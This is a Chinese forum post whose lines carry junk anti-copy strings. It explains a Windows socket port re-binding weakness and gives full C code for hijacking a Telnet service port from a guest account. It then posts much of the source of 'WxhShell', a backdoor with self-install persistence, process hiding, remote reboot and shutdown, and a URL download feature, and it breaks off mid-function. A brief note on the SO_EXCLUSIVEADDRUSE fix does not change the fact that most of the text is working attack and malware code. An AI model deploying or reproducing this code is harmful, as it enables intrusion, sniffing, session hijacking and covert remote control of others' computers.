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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: OH06{I>;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ja~8ZrcY  
; =n}61  
  saddr.sin_family = AF_INET; ho$}#o  
HWV A5E[`Y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ogIu\kiZ  
EmaS/]X[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -r,v3n  
Yeg<MrS4D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J.R]) &CB  
MB;rxUbhe3  
  这意味着什么?意味着可以进行如下的攻击: B>1,I'/$.  
|yz[mP*;o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FaCW +9B  
0 7Yak<+~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) w)|9iL8  
pfZ[YC-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]A}ZaXd  
'4M{Xn}@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  m!KEK\5M?  
NxF:s,a6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 g$NUu  
x:0swZ5Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 AM=> P 7  
d;<'28A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 F5X9)9S  
: j kO  
  #include G>"n6v'^d  
  #include OCu_v%G 0  
  #include gbYM1guiD  
  #include    `^#4okg]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "8%$,rG1&  
  int main() Zj -#"Gm  
  { adu6`2 *$  
  WORD wVersionRequested; o@N[O^Q V  
  DWORD ret; _`p-^ I  
  WSADATA wsaData; C[.Xi  
  BOOL val; f3Zf97i  
  SOCKADDR_IN saddr; W0MgY%Qv[  
  SOCKADDR_IN scaddr; lv?`+tU2_  
  int err; @?e~l:g})g  
  SOCKET s; T O]7cC  
  SOCKET sc; }J6:D]Q  
  int caddsize; ^;ZpK@Luk  
  HANDLE mt; -HGRrWS  
  DWORD tid;   9<0yz?b':  
  wVersionRequested = MAKEWORD( 2, 2 ); 8H-yT1  
  err = WSAStartup( wVersionRequested, &wsaData ); c $r"q :\  
  if ( err != 0 ) { E[#VWM I  
  printf("error!WSAStartup failed!\n"); SrH::-{  
  return -1; OD7^*j(p`  
  } x%`YV):*  
  saddr.sin_family = AF_INET; Wu* 4r0  
   V|@bITJ?7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 x-c5iahp'  
L4B/ g)K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E`.hM}h  
  saddr.sin_port = htons(23); bvJ@H Z$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XYR q"{Id  
  { zWU]4;,"  
  printf("error!socket failed!\n"); lx4p Tw1  
  return -1; eI"pRH*f  
  } 9]Ue%%vM  
  val = TRUE; h STcL:b   
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _cJ)v/]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N$Ad9W?T  
  { d+G%\qpzQ  
  printf("error!setsockopt failed!\n"); @:RoYvk$  
  return -1; Dqo#+_v  
  } h2x9LPLBxT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; baD063P;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bK!h{Rr  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C_>XtcU  
N@tKgx  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~tWh6-:|{J  
  { c_ncx|dUs  
  ret=GetLastError(); IV!`~\@  
  printf("error!bind failed!\n"); a9;KS>~bq  
  return -1; [uGsF0#e  
  } T8Mqu`$r  
  listen(s,2); l0^cdl-  
  while(1) ,vmn{gz  
  { )bih>>H  
  caddsize = sizeof(scaddr); ~b*]jZwT  
  //接受连接请求 /0qbRk i  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); p~3 x=X4  
  if(sc!=INVALID_SOCKET) 0ZwXuq  
  { k L6s49  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /d}"s.3p  
  if(mt==NULL) +kd1q  
  { I;"pPJ3G  
  printf("Thread Creat Failed!\n"); d'Bxi"K  
  break; mST8+R@S  
  } Lhp&RGy  
  } [u!n=ev  
  CloseHandle(mt); ?2#'>B  
  } y>w;'QR&a  
  closesocket(s); 2? yo  
  WSACleanup(); Z@dVK`nD  
  return 0; wH!$TAZ:Yw  
  }   j24 3oD  
  DWORD WINAPI ClientThread(LPVOID lpParam) mrRid}2  
  { 66F?exr  
  SOCKET ss = (SOCKET)lpParam; 5b/ ~]v  
  SOCKET sc; -t S\  
  unsigned char buf[4096]; ]w>o=<?b  
  SOCKADDR_IN saddr; ]i(/T$?~  
  long num; 4@{?4k-cq  
  DWORD val; tnnGM,"ol  
  DWORD ret; vTx>z\7q,  
  //如果是隐藏端口应用的话,可以在此处加一些判断 SWx: -<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nl 'MWP  
  saddr.sin_family = AF_INET; 2Q%7J3I  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1D#-,#?  
  saddr.sin_port = htons(23); FfM^2`xP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MZ$uWm`/  
  { .,z6a  
  printf("error!socket failed!\n"); Wgh@XB  
  return -1; 5\z<xpJ  
  } 8>[g/%W  
  val = 100; YX-~?Pl  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MuOKauYa  
  { w -o#=R_  
  ret = GetLastError(); 'o}[9ZBjn  
  return -1; 2rT^OGw6  
  } wjl)yo$z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q*T 'tkp  
  { ,\v'%,:C  
  ret = GetLastError(); D {Ol8:  
  return -1; gep#o$P  
  } >-N(o2j3  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M{5AQzvs  
  { R]X 0D.  
  printf("error!socket connect failed!\n"); vb]kh _  
  closesocket(sc); uEJ8Lmi  
  closesocket(ss); 3<W%z]k@M  
  return -1; ~ C%I'z'  
  } nI]EfHU  
  while(1) :1UMA@HP  
  { 8lpAe0p(Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;_"|#  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X8ap   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b v_ UroTr  
  num = recv(ss,buf,4096,0); j~{cT/5Y_  
  if(num>0) h97#(_wV>  
  send(sc,buf,num,0); ?MRY*[$  
  else if(num==0) p}JOiiHa  
  break; I<940PZ  
  num = recv(sc,buf,4096,0); Tp;W4]'a*:  
  if(num>0) 7C7.}U  
  send(ss,buf,num,0); At:8+S<?A  
  else if(num==0) ?'P}ZC8P  
  break; 3U>-~-DS  
  } ??p%_{QY~b  
  closesocket(ss); ?yS1|CF%&y  
  closesocket(sc); ,J|,wNDU!K  
  return 0 ; `Fn"QL-  
  } b`-|7<s  
@5nFa~*K%  
I2*rtVAP'j  
========================================================== zw+aZDcV(  
>E+g.5 ,:W  
下边附上一个代码,,WXhSHELL d:';s~  
sRD fA4/TF  
========================================================== \i_E}Ii0  
=lJ ?yuc  
#include "stdafx.h" "wOfs$w%s  
4`#Q  
#include <stdio.h> )k,n}  
#include <string.h> DSz[,AaR]  
#include <windows.h> 7tcadXk0  
#include <winsock2.h> 5&n{QE?Um  
#include <winsvc.h> >l &]Ho  
#include <urlmon.h> Y'|,vG  
4uIYX  
#pragma comment (lib, "Ws2_32.lib") EpAgKzVpJ  
#pragma comment (lib, "urlmon.lib") Z71m(//*}  
D|9+:Y  
#define MAX_USER   100 // 最大客户端连接数 *(Dmd$|0|  
#define BUF_SOCK   200 // sock buffer PoF3fy%.  
#define KEY_BUFF   255 // 输入 buffer <R$ 2x_  
N;|^C{uz  
#define REBOOT     0   // 重启 sWYnoRxu  
#define SHUTDOWN   1   // 关机 } jj)  
hX{,P:d=f  
#define DEF_PORT   5000 // 监听端口 w2nReB z  
{Uw 0zC  
#define REG_LEN     16   // 注册表键长度 =D/zC'l  
#define SVC_LEN     80   // NT服务名长度 O6;"cUv  
l\s!A&L  
// 从dll定义API pIlEoG=[_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Q>%n&;:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [ /o'l:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q ;'f3Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |GnTRahV.  
kMQ /9~  
// wxhshell配置信息 YqX$a~  
struct WSCFG { 4 ThFC  
  int ws_port;         // 监听端口 ~w>h#{RB  
  char ws_passstr[REG_LEN]; // 口令 sApix=Lr  
  int ws_autoins;       // 安装标记, 1=yes 0=no , Z"<-%3  
  char ws_regname[REG_LEN]; // 注册表键名 EG>?>K_D  
  char ws_svcname[REG_LEN]; // 服务名 !?>V^#c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EraGG"+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0\%g@j-aD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &-ro pY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @oAz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T^}UE<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sW[-qPK<  
>c,s}HJ  
}; 'Z`7/I4&  
=j,WQ66r3  
// default Wxhshell configuration F[jE#M=k  
struct WSCFG wscfg={DEF_PORT, ,L/x\_28  
    "xuhuanlingzhe", lgOAc,  
    1, _>- D*l  
    "Wxhshell", (9'^T.J  
    "Wxhshell", vQEV,d1  
            "WxhShell Service", Tz]R}DKB&  
    "Wrsky Windows CmdShell Service", P3_.U8g$r  
    "Please Input Your Password: ", CFaY=Cy  
  1, nYyhQX~]B  
  "http://www.wrsky.com/wxhshell.exe", 9-ozrw8t  
  "Wxhshell.exe" bU! v  
    }; ?"d$SK"6Z  
IP62|~Ap  
// 消息定义模块 YQ+hQ:4-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]i*ucW4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (GSP3KKo*G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Cu[-<>my  
char *msg_ws_ext="\n\rExit."; p-[WpY3  
char *msg_ws_end="\n\rQuit."; )j_El ]?  
char *msg_ws_boot="\n\rReboot..."; M5^Y W#e  
char *msg_ws_poff="\n\rShutdown..."; t2N W$ -E  
char *msg_ws_down="\n\rSave to "; &3Zq1o  
||Zup\QB  
char *msg_ws_err="\n\rErr!"; ^dQ{vL@9b9  
char *msg_ws_ok="\n\rOK!"; REUxXaN>Z  
)% 7P?^>  
char ExeFile[MAX_PATH]; 0xB2  
int nUser = 0; Qz~uD'Rs/  
HANDLE handles[MAX_USER]; isZ5s\  
int OsIsNt; 3P cVE\GN  
}|P3(*S  
SERVICE_STATUS       serviceStatus; @UD:zUT)F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~r--dU  
Z3`EXs  
// 函数声明 xVm-4gB  
int Install(void); _;1{feR_  
int Uninstall(void); d?2V2`6  
int DownloadFile(char *sURL, SOCKET wsh); =kd$??F  
int Boot(int flag); 9njl,Q:  
void HideProc(void); ^xZh@e5  
int GetOsVer(void); qlO}=b/  
int Wxhshell(SOCKET wsl); .Bm%  
void TalkWithClient(void *cs); [xMa^A>p  
int CmdShell(SOCKET sock); g*Y, .  
int StartFromService(void); jJ ,_-ui  
int StartWxhshell(LPSTR lpCmdLine); 1+x" 5<(W  
QU).q65p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jj5S+ >4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `AJ[g>py^|  
b^1QyX^?:  
// 数据结构和表定义 eVXXn)>  
SERVICE_TABLE_ENTRY DispatchTable[] = C 0w+ j  
{ TQa}Ps  
{wscfg.ws_svcname, NTServiceMain}, 3nxG>D7  
{NULL, NULL} VeoG[Jl  
}; zCx4DN`  
OviS(}v4@  
// 自我安装 )kD/ 8  
int Install(void) CKsVs.:u  
{ ]{>AU^=U  
  char svExeFile[MAX_PATH]; 7{;it uqX  
  HKEY key; ?"B] "%M&  
  strcpy(svExeFile,ExeFile); @YJI'Hf67  
:D.0\.p  
// 如果是win9x系统,修改注册表设为自启动 z|l*5@p  
if(!OsIsNt) { ~ Z\:Nx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U ZM #O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j|eA*UE  
  RegCloseKey(key); *r7v Dc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1\.$=N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f-b],YE  
  RegCloseKey(key); ,?fJ0n:!%  
  return 0; u^80NR  
    } hx;f/E Px  
  } OrY[  
} G95,J/w  
else { {Mx(|)WkL  
8K 3dwoT  
// 如果是NT以上系统,安装为系统服务 ks '>?Dw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (Fv tL*  
if (schSCManager!=0) * QgKo$IF  
{ yK~=6^M  
  SC_HANDLE schService = CreateService iG N\ >m}  
  ( "LMj,qZ1!  
  schSCManager, %`Re {%1;  
  wscfg.ws_svcname, 4fEDg{T  
  wscfg.ws_svcdisp, }cKB)N BJb  
  SERVICE_ALL_ACCESS, pfA6?tP`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zkQ[<  
  SERVICE_AUTO_START, qNp1<QO0  
  SERVICE_ERROR_NORMAL, xP;r3u s  
  svExeFile, O7K.\  
  NULL, {@Mr7*u  
  NULL, o2 14V\  
  NULL, I=Y>z ^4  
  NULL, (i1JRn-f  
  NULL &p0e)o~Ux  
  ); &d#R'Z  
  if (schService!=0) 8.E"[QktZ  
  { qe~x?FO_>  
  CloseServiceHandle(schService); wp[Ug2;G  
  CloseServiceHandle(schSCManager); $pGT1oF[E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  6@S6E(^  
  strcat(svExeFile,wscfg.ws_svcname); :2 ;Jo^6Se  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { okNo- \Dh!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G0cG%sIl  
  RegCloseKey(key); Tkbao D  
  return 0; I[ \~ pi,  
    } NFK`,  
  } eI #Gx_mg  
  CloseServiceHandle(schSCManager); APQq F/  
} 6b|?@  
} 8)i""OD@I  
g?C;b>4  
return 1; Jd2.j?P=  
} s27IeF3  
hsZ/Vnn`  
// 自我卸载 39pG-otJ  
int Uninstall(void) L * n K> +  
{ =bVPHrKNQ  
  HKEY key; /?\3%<vn  
G dgL}"*F  
if(!OsIsNt) { 2z.ot'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hvl n>x@  
  RegDeleteValue(key,wscfg.ws_regname); Wboh2:TH:  
  RegCloseKey(key); k4TWfl^}9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wb-yAQ8  
  RegDeleteValue(key,wscfg.ws_regname); 7*/{m K)  
  RegCloseKey(key); 5=dL`  
  return 0; I<SgKva;c  
  } k$EVr([  
} K|& f5w  
} Z6jEj9?O  
else { Mf}M/Fh  
?GhyVXS y.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8~sP{V%  
if (schSCManager!=0) )8Va%{j  
{ ~6vz2DuB=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >yIJ8IDF  
  if (schService!=0) xo:kT)  
  { "L~(%Nx3  
  if(DeleteService(schService)!=0) { !<bwg  
  CloseServiceHandle(schService); !_S>ER  
  CloseServiceHandle(schSCManager); V5|ANt  
  return 0; boh?Xt-$  
  } a"8[,A3  
  CloseServiceHandle(schService); s6H'}[E<  
  } 95DEuReKi  
  CloseServiceHandle(schSCManager); Zed Fhm  
} nK&]8"  
} xU *:a[g  
!-gU~0  
return 1; ,Q`qnn&  
} %+7]/_JO&  
@KG0QHyiU  
// 从指定url下载文件 0p.bmQSH  
int DownloadFile(char *sURL, SOCKET wsh) g(7 -3q8eq  
{ 0mw1CUx9K  
  HRESULT hr; V"FQVtTx7  
char seps[]= "/"; ?J[3_!"t  
char *token; "fFSZ@,r  
char *file; {(73*-~$  
char myURL[MAX_PATH]; }5o?7} ?  
char myFILE[MAX_PATH]; FLZ9pb[T  
]rcF/uQJ<n  
strcpy(myURL,sURL); 0=d2_YzSf  
  token=strtok(myURL,seps); "S#F I  
  while(token!=NULL) MB plhVK8  
  { Tt;F-  
    file=token; Zg;$vIhn  
  token=strtok(NULL,seps); =x~I'|%3  
  } b@:OlZ~ %  
c]=2>ov)hR  
GetCurrentDirectory(MAX_PATH,myFILE); ">A<%5F2  
strcat(myFILE, "\\"); 5&Oc`5QD  
strcat(myFILE, file); 4aayMS !#  
  send(wsh,myFILE,strlen(myFILE),0); Hl*vS  
send(wsh,"...",3,0); Cu"Cpt[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .UyE|t4  
  if(hr==S_OK) HL)!p8UHJ  
return 0; oy+|:[v:Fk  
else +2uSMr  
return 1; qA*~B'  
F_-Lu]*  
} j!;LN)s@?  
W{p}N  
// 系统电源模块 <,d550GSm  
int Boot(int flag) 37AVk`a  
{ _1" ecaA  
  HANDLE hToken; -@To<<`n  
  TOKEN_PRIVILEGES tkp; *4,Q9K_  
 U 'jt'(  
  if(OsIsNt) { .RQra+up  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RNIXQns-=S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jnH\}IB  
    tkp.PrivilegeCount = 1; XxqGsGx4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <}a?<):S  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +X?ErQm  
if(flag==REBOOT) { ~ELY$G.xl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =w2 4(S  
  return 0; PK*Wu<<  
} \0$+*ejz  
else { Q PH=`s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A=|XlP$6  
  return 0; _0H oJ  
} UBvp3 2p  
  } i,Ct AbMx  
  else {  56.!L  
if(flag==REBOOT) { m_NX[>&Y3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U,<m%C"  
  return 0; l.YE@EL  
} fHt\KP  
else { 'K[ml ?_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) oqrx7 +0{  
  return 0; V^~RDOSy7n  
} g?j)p y  
} FaHOutP  
=~^b  
return 1; =?sG~  
} /\J0)V  
@!ChPl  
// win9x进程隐藏模块 )ycI.[C  
void HideProc(void) N['DqS =  
{ IUMv{2C  
Pwh}hG1s a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fI.|QD*$b  
  if ( hKernel != NULL ) Y2|i>5/|<  
  { 9#8vPjXW}.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )>a~%~:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RQ+,7Ir  
    FreeLibrary(hKernel); !V|{(>+<  
  } (m]l -Re  
8PI%Z6  
return; d)%WaM%V  
} SX4*804a_  
A#U! KX  
// 获取操作系统版本 Koa9W >!  
int GetOsVer(void) )e(<YST  
{ A;AQw  
  OSVERSIONINFO winfo; mxNd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x#{!hL 5G  
  GetVersionEx(&winfo); 5K vp%   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '/ Aq2  
  return 1; g_>&R58  
  else y^2#;0W  
  return 0; qHt/,w='Q  
} VKa+[  
*d._H1zT  
// 客户端句柄模块 '%$Vmf)=  
int Wxhshell(SOCKET wsl) vPkLG*d 8  
{ jIh1)*]054  
  SOCKET wsh; @]uqC~a^  
  struct sockaddr_in client; g*k)ws  
  DWORD myID; AXyXK??  
B,b8\\^k|  
  while(nUser<MAX_USER) "Eh=@?]S_  
{ ax@H^Gj@2  
  int nSize=sizeof(client); z} fpV T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AD?zBg Zu  
  if(wsh==INVALID_SOCKET) return 1; O'4G'H)   
|)x7qy`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ek +R  
if(handles[nUser]==0) k4+vI1Cs  
  closesocket(wsh); 0U42QEG2  
else @yp0WB  
  nUser++; $8^Hk xy  
  } /wD f,Hduz  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GDu^P+^  
}[0nTd  
  return 0; qqDg2,Yb  
} =VC18yA  
{f06Ki  
// 关闭 socket Gxr\a2Z&r%  
void CloseIt(SOCKET wsh) I0XJ& P%  
{ k 9i W1  
closesocket(wsh); :EX>Y<`]  
nUser--; fWHvVyQ.  
ExitThread(0); d$IROZK-D  
} H'A N osv  
Ft5A(P >  
// 客户端请求句柄 *%xbn8  
void TalkWithClient(void *cs) Y ^^4n$  
{ 4m*)("H  
XkI'm\W  
  SOCKET wsh=(SOCKET)cs; Q)75?mn  
  char pwd[SVC_LEN]; +p 6Ty2rz  
  char cmd[KEY_BUFF]; xHgC':l(0  
char chr[1]; (p]FI#y  
int i,j; ?Y"%BS+pt  
161P%sGx2  
  while (nUser < MAX_USER) { MA .;=T  
la[ pA  
if(wscfg.ws_passstr) { TY8gB!^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  _a09;C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); AVT % AS  
  //ZeroMemory(pwd,KEY_BUFF); ^'QO!{7f  
      i=0; U]hqRL  
  while(i<SVC_LEN) { [@@{z9c  
U4XW Kwq  
  // 设置超时 *p/,Z2f  
  fd_set FdRead; ^h?fr`  
  struct timeval TimeOut; @O"7@%nu  
  FD_ZERO(&FdRead); zgD?e?yPO  
  FD_SET(wsh,&FdRead); Q68~D.V%r  
  TimeOut.tv_sec=8; L0w6K0J4  
  TimeOut.tv_usec=0; 1UP {j`-K|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6_mi9_w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B=A!hXNa  
w/@ZPBRo]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n#!c!EfG  
  pwd=chr[0]; }s,NM%oI  
  if(chr[0]==0xd || chr[0]==0xa) { 8}n< 3_  
  pwd=0; 0zW*JJxV  
  break; |5u~L#P  
  } KL \>-  
  i++; yD"]:ts3  
    } ^4=#, K  
rK gl:s j+  
  // 如果是非法用户,关闭 socket \,S |>CPQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9'MGv*Ho  
} ni;)6,i  
n)yDep]$G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M?l v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bjVk9XvH6  
@a 9.s  
while(1) { UL[,A+X8D  
4cQP+n  
  ZeroMemory(cmd,KEY_BUFF); KV0*dB;  
e!6yxL*[@[  
      // 自动支持客户端 telnet标准   $RDlM  
  j=0; "B'c;0 @q  
  while(j<KEY_BUFF) { dN5{W0_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '$FF/|{  
  cmd[j]=chr[0]; oAO{4xP  
  if(chr[0]==0xa || chr[0]==0xd) { 7z? ;z<VJ  
  cmd[j]=0; |d0ZB_ci  
  break; B*tYp  
  } c64^u9  
  j++; @)>Z+g  
    } l'I:0a 4T  
)<5k+O~  
  // 下载文件 )j;^3LiV3  
  if(strstr(cmd,"http://")) { =p+n(C/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); W&5/1``u\  
  if(DownloadFile(cmd,wsh)) _X#Rv2a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L[<#>/NPy  
  else ;6/WjUDw<|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m>=DJ{KQ  
  } SKC;@?  
  else { DS?.'"n[u  
Pn!~U] A$%  
    switch(cmd[0]) { :#:|:q.]  
  MpOU>\  
  // 帮助 ,rMDGZm?  
  case '?': { <AU*lLZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _ [k \S|iY  
    break; z~Q=OPCnY  
  } aL1%BGlmZ<  
  // 安装 G*IP?c>=  
  case 'i': { prZ ,4\  
    if(Install()) g}MUfl-L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Not /8J  
    else nI6 gd%C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +q&Hj|;8r  
    break; SnE^\I^O  
    } qfsPX6]  
  // 卸载 d+,!>.<3  
  case 'r': { |Gic79b  
    if(Uninstall()) X['9;1Xr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6f +aGz  
    else f<8Hvumw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lpG%rN!  
    break; ^/BGOBK  
    } k6CXuU  
  // 显示 wxhshell 所在路径 ;VE y{%nF  
  case 'p': { m* m),mZ"  
    char svExeFile[MAX_PATH]; -,bnj^L  
    strcpy(svExeFile,"\n\r"); uw\@~ ,d  
      strcat(svExeFile,ExeFile); %u!=<yn'  
        send(wsh,svExeFile,strlen(svExeFile),0); xr'1CP  
    break;  +vkmS  
    } Y,s EM%  
  // 重启 f$dPDbZQ  
  case 'b': { t"$~o:U&)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b`X''6  
    if(Boot(REBOOT)) m(8Tup|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <>6j>w_|  
    else { u1/ >)_U  
    closesocket(wsh); b,Wm]N  
    ExitThread(0); =zFROB\  
    } AJ7w_'u=@  
    break; %)j&/QdzF&  
    } ?4':~;~  
  // 关机 CyIlv0fd}  
  case 'd': { FMdu30JV  
